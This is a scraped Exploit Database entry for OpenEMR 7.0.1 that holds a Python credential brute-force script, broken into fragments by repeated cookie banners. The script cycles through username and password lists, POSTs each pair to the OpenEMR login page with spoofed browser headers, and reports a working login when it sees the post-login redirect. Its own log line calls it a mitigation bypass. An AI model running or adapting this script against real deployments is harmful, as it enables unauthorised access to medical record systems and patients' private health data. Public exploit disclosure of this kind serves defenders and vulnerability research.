

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

OpenEMR v7.0.1 - Authentication credentials brute force

EDB-ID:

51413

CVE:

N/A

EDB Verified: ✘**Author:**[ABHHL \(ABHISHEK BIRDAWADE\)](#)**Type:**[WEBAPPS](#)**Exploit:**   / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# Exploit Title: OpenEMR v7.0.1 - Authentication credentials brute force
# Date: 2023-04-28
# Exploit Author: abhhi (Abhishek Birdawade)
# Vendor Homepage: https://www.open-emr.org/
# Software Link:
https://github.com/openemr/openemr/archive/refs/tags/v7_0_1.tar.gz
# Version: 7.0.1
# Tested on: Windows

...

Example Usage:
- python3 exploitBF.py -l "http://127.0.0.1/interface/main/main_screen.php?
auth=login&site=default" -u username -p pass.txt
...

import requests
import sys
import argparse, textwrap
from pwn import *

#Expected Arguments
parser = argparse.ArgumentParser(description="OpenEMR <= 7.0.1
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
# Variable
LoginPage = args.url
Username = args.username
Username_list = args.userlist
Password_list = args.passlist

log.info('OpenEMR Authentication Brute Force Mitigation Bypass Script by
abhhi \n ')

def login(Username,Password):
    session = requests.session()
    r = session.get(LoginPage)

# Progress Check
    process = log.progress('Brute Force')

#Specifying Headers Value
    headerscontent = {
        'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0',
        'Referer' : f"{LoginPage}",
        'Origin' : f"{LoginPage}",
    }
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

#POST REQ data

```
postreqcontent = {
  'new_login_session_management' : 1,
  'languageChoice' : 1,
  'authUser' : f"{Username}",
  'clearPass' : f"{Password}"
}
```

#Sending POST REQ

```
r = session.post(LoginPage, data = postreqcontent, headers =
headerscontent, allow_redirects=False)
```

#Printing Username:Password

```
process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))
```

#Conditional loops

```
if 'Location' in r.headers:
  if "/interface/main/tabs/main.php" in r.headers['Location']:
    print()
    log.info(f'SUCCESS !!!')
    log.success(f"Use Credential -> {Username}:{Password}")
    sys.exit(0)
```

Cookiebot
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.